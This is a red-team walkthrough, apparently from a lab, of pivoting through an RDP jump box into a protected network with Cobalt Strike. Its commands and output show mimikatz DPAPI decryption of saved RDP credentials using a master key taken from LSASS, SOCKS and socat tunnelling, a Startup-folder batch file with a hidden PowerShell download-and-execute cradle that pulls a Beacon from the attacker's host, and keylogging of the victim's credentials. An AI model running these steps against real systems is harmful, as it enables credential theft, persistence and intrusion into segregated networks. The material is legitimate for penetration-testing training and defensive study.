Introduction

This short post demonstrates how it may be possible to pivot into a segregated/protected network, via an RDP Jump Box.

This is the network topology I’ve built for the scenario:

A brief description:

  • The LAN is a flat network of workstations and servers.
  • Some servers, including the RDP Jump Box, cannot talk out to the Internet.
  • Workstations can access the Internet via a proxy.
  • The RDP Jump Box is the only host on the LAN that can talk to the ‘Secret Network’ and is limited to port 3389.
  • The two networks are different forests - rasta-lan.local and secret-lan.local.
  • LAN is on 10.0.0.0/16; SECRET is on 172.16.0.0/24.

The aim of the scenario is for the attacker to open Remote Desktop Connection on their attacking machine (Windows 10) and RDP directly onto the ‘Mission Objective’ server in the Secret Network.

Assume Breach

We have a beacon as a user called rasta_mouse, who is only a member of Domain Users. Query the target server to discovery which users/groups are granted RDP access.

beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"

ComputerName : RDP01
AccountName  : rasta-lan.local/Jump Box Users
IsDomain     : True
IsGroup      : True
SID          : S-1-5-21-2294392343-2072776990-791666979-1106

Who is a member of Jump Box Users ?

beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"

GroupDomain  : rasta-lan.local
GroupName    : Jump Box Users
MemberDomain : rasta-lan.local
MemberName   : rasta_mouse_adm
MemberSID    : S-1-5-21-2294392343-2072776990-791666979-1107
IsGroup      : False
MemberDN     : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local

So rasta_mouse has two separate accounts, which means we need the credentials of rasta_mouse_adm to proceed. I’ll explore two possible methods here.

Credential Manager & DPAPI

If the user has elected to save the RDP credentials, this is the most fun and elegent way if you have the necessary SeDebugPrivilege to carry it out.

This is how Windows Credentials look in the Credential Manager GUI.

You can query the same on the command line.

beacon> shell vaultcmd /listcreds:"Windows Credentials" /all

Credentials in vault: Windows Credentials

Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/rdp01
Identity: LAN\rasta_mouse_adm
Hidden: No
Roaming: No
Property (schema element id,value): (100,2)

These credentials are stored within the users directory, C:\Users\<username>\AppData\Local\Microsoft\Credentials\*.

beacon> powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force

    Directory: C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-hs-       02/09/2017     13:37            412 2647629F5AA74CD934ECD2F88D64ECD0
-a-hs-       30/08/2017     19:28          11204 DFBE70A7E5CC19A398EBF1B96859CE5D

Now let’s look at C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0.

beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0

**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000030 - 48
  szDescription      : Local Credential Data

  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : be072ec0f54a6ceaffd09fe2275d72f9
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : a3579f9e295013432807757d3bcdf82e
  dwDataLen          : 000000d8 - 216
  pbData             : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb
  dwSignLen          : 00000014 - 20
  pbSign             : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52

The noteworthy fields here are pbData and guidMasterKey - a simplistic way to look at it, is that pbData is the data we want to decrypt and guidMasterKey is the key needed to do so.

There’s a good chance LSASS already has this key within its cache - so with SeDebugPrivilege we can elevate and obtain.

beacon> mimikatz !sekurlsa::dpapi

Within all this output, we find the GUID and associated MasterKey we were hoping for.

[00000000]
     * GUID      :  {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
     * Time      :  02/09/2017 13:37:51
     * MasterKey :  95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
     * sha1(key) :  89f35906909d78c84ba64af38a2bd0d1d96a0726

If we were running mimikatz in interactive mode, it would automatically add these keys to our dpapi cache and use them when we try to decrypt the credentials. But running mimikatz through Cobalt Strike doesn’t allow us to retain the same session (at least if you can, I don’t know how), so we must take the key and use it manually.

beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b

Decrypting Credential:
 * masterkey     : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000d2 - 210
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 02/09/2017 12:37:44
  unkFlagsOrSize : 00000030 - 48
  Persist        : 00000002 - 2 - local_machine
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=TERMSRV/rdp01
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : LAN\rasta_mouse_adm
  CredentialBlob : Sup3rAw3s0m3Passw0rd!     <--- BOOM!
  Attributes     : 0

RDP01

Let’s use these credentials to RDP into the jump box - remember the aim is to do this directly from our attacking machine. So, let’s first setup a SOCKS Proxy on our current Beacon.

beacon> socks 1337
[+] started SOCKS4a server on: 1337
  • SSH into your Teamserver and install socat & proxychains if they’re not already.
  • Modify proxychains.conf to use 127.0.0.1 on port 1337.
  • Then run socat with proxychains -> proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389.

This will allow our Teamserver to listen on 3389, any traffic hitting that port will be redirected down the socks proxy to 10.0.0.100 on port 3389.

Remember that there’s no authentication on Beacon’s SOCKS proxy - so ensure the firewall rules on your Teamserver are sufficient as to not open this up to the whole Internet.

Now we RDP to our Teamserver’s IP address, and we should land on that jump box…

Persistence

Now that we have access to this server, let’s set up a persistence element so that when the “real” rasta_mouse_adm connects, we can get an SMB Beacon back.

Here’s a very simplistic example:

  • Create a stageless PowerShell SMB Beacon payload.
  • Host it on your Teamserver (web delivery) at a /smb.
  • Create a Reverse Port Foward on our current beacon -> rportfwd 8080 178.62.56.134 80
  • Create C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat with the following content:
powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"
  • Log off the RDP session.

If you can elevate on this server and run/migrate into a SYSTEM process, you won’t have to rely on maintaining an RDP session to run Beacon.

When the genuine user logs in, we’ll see a hit in our weblog.

09/02 14:19:45 visit from: 178.62.56.134
    Request: GET /smb
    page Serves /opt/cobaltstrike/uploads/beacon.ps1
    null

So, let’s link to the beacon.

beacon> link 10.0.0.100
[+] established link to child beacon: 10.0.0.100

Note: if the user log’s off, we lose our Beacon; if they only disconnect, it stays alive.

SECRET

Now we’re on the jump box, we need to know how to get into SECRET.

You can actually keylog everything you need, so let’s have a look at that.

beacon> keylogger 1816 x64
Start menu
=======
remo

Remote Desktop Connection
=======
172.16.0.10


Windows Security
=======
SECRET\rasta_mouse[tab]Passw0rd!
  • Stop the curent SOCKS Proxy in Beacon, as well as proxychains/socat on the Teamserver.
  • Start a new SOCKS Proxy on the jump box (same port if you like).
  • On your Teamserver, run proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389

As before, RDP to the Teamsever IP and we’ll land directly inside SECRET.

Conclusion